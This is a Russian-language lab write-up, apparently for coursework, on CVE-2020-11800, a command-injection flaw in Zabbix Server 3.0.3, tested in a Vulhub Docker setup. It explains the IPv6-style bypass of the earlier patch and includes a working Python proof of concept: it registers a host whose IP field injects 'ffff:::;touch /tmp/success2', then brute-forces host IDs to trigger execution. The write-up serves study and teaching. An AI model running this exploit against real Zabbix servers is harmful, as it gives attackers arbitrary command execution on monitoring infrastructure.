
Эксплойт PoC для CVE-2020-11800 — внедрение команд в Zabbix Server через вредоносную авторегистрацию агента, с доставкой полезной нагрузки на Python и перебором ID хостов.
Разделы, требуемые методическими указаниями, помечены как «(Обязательно)».
В этой среде используется пользовательский Dockerfile, основанный на уязвимом образе Zabbix Server от Vulhub.
FROM vulhub/zabbix:3.0.3-server
Dockerfile собирает локальный образ, используя уязвимую среду Zabbix Server 3.0.3. В процессе сборки дополнительные пакеты или конфигурации не добавлялись.
Уязвимая среда настраивается с помощью Docker Compose.
Среда состоит из четырёх сервисов:
Сервис server собирается локально с использованием Dockerfile:
server:
build: .
image: cve-2020-11800-server
Контейнер MySQL автоматически импортирует SQL-файлы инициализации из каталога src/ с помощью монтирования томов:
volumes:
- ./src/:/docker-entrypoint-initdb.d/
Это позволяет загружать схему базы данных и начальные данные Zabbix автоматически при запуске контейнера.
Среда работает по следующей структуре:
[Браузер]
↓
[Zabbix Web]
↓
[Zabbix Server]
↓
[MySQL]
[Agent] → [Server]
Предоставляет веб-интерфейс управления, доступный через браузер.
Администратор настраивает авторегистрацию и выполняет операции мониторинга через этот интерфейс.
Основной компонент, отвечающий за:
Уязвимость внедрения команд срабатывает внутри этого контейнера.
Выступает в роли отслеживаемого хоста и взаимодействует с Zabbix Server.
Эксплойт использует механизм авторегистрации в процессе регистрации агента.
Хранит конфигурационные данные Zabbix, информацию о хостах и данные мониторинга.
| Сервис | Образ | Версия |
|---|---|---|
| Zabbix Server | vulhub/zabbix | 3.0.3-server |
| Zabbix Web | vulhub/zabbix | 3.0.3-web |
| MySQL | mysql | 5 |
Среда основана на уязвимом окружении Zabbix 3.0.3, предоставленном Vulhub.
CVE-2020-11800 — это уязвимость внедрения команд в функциональности Active Proxy Trapper Zabbix Server.
Уязвимость существует из-за неполного исправления для CVE-2017-2824. Злоумышленник может обойти оригинальный патч, используя полезную нагрузку в стиле IPv6, и выполнить произвольные команды на Zabbix Server.
Уязвимость срабатывает в процессе авторегистрации, когда сервер обрабатывает информацию о хосте, контролируемую пользователем.
Коренная причина уязвимости — небезопасная обработка пользовательского ввода внутри shell-команд.
Во время выполнения скрипта Zabbix Server использует зарегистрированное значение IP-адреса хоста для формирования команд, например:
ping <host_ip>
В обычных условиях:
ping 127.0.0.1
Однако если злоумышленник регистрирует хост, используя следующую полезную нагрузку:
ffff:::;touch /tmp/success2
то итоговая команда, выполняемая оболочкой, становится:
ping ffff:::;touch /tmp/success2
Поскольку точка с запятой (;) действует как разделитель команд оболочки, она интерпретирует ввод как две отдельные команды:
ping ffff:::
touch /tmp/success2
В результате становится возможным выполнение произвольных команд.
Оригинальный патч для CVE-2017-2824 пытался ограничить вредоносные входные значения.
Однако логика проверки не обрабатывала должным образом ввод в стиле IPv6.
Полезная нагрузка:
ffff:::;touch /tmp/success2
использует префикс, подобный IPv6 (ffff:::), для обхода существующей логики проверки, при этом всё ещё внедряя метасимволы оболочки.
Это позволяет злоумышленникам обойти предыдущий патч и продолжать эксплуатировать уязвимость внедрения команд.
Процесс эксплуатации происходит в следующем порядке:
Злоумышленник
↓
Регистрация поддельного агента
↓
Сохранение вредоносного IP
↓
Выполнение скрипта Zabbix
↓
Формирование shell-команды
↓
Внедрение команды
↓
Выполнение произвольной команды
Сначала злоумышленник отправляет вредоносный запрос авторегистрации, содержащий подделанное поле IP.
После регистрации хоста Zabbix Server выполняет скрипт мониторинга, используя сохранённое значение IP-адреса хоста.
В ходе этого процесса вредоносная нагрузка интерпретируется оболочкой, что приводит к выполнению произвольных команд.
Эксплойт позволяет злоумышленникам выполнять произвольные команды с привилегиями процесса Zabbix Server.
В этой среде успешная эксплуатация создала следующий файл внутри контейнера сервера:
/tmp/success2
Это подтверждает, что внедрённые shell-команды были успешно выполнены.
В реальной среде успешная эксплуатация может позволить злоумышленникам:
Уязвимость особенно опасна, поскольку серверы мониторинга часто имеют доступ к нескольким внутренним системам и компонентам инфраструктуры.
Доказательство концепции (PoC) написано на Python и взаимодействует напрямую с Zabbix Server через TCP-порт 10051.
PoC выполняет следующие действия:
hostid переборомimport sys
import socket
import json
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
response = conn.recv(2048)
conn.close()
return response
if len(sys.argv) != 2:
print("Usage: python3 exploit.py <target-ip>")
sys.exit(1)
target = sys.argv[1]
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
print("[*] Sending malicious auto-registration request...")
print(send(target, payload))
print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
data = send(target, {
"request": "command",
"scriptid": 1,
"hostid": str(i)
})
if data and b'failed' not in data:
print("[+] hostid: %d" % i)
print(data)
Полезная нагрузка, используемая в этом PoC:
ffff:::;touch /tmp/success2
| Часть | Назначение |
|---|---|
ffff::: | Префикс в стиле IPv6 для обхода проверок |
; | Разделитель команд оболочки |
touch /tmp/success2 | Произвольная команда, выполняемая на сервере |
Полезная нагрузка использует тот факт, что сервер некорректно объединяет управляемые пользователем значения IP в shell-команды.
Полезная нагрузка доставляется через поле ip в процессе авторегистрации.
Первый запрос, отправляемый PoC, пытается зарегистрировать вредоносный хост.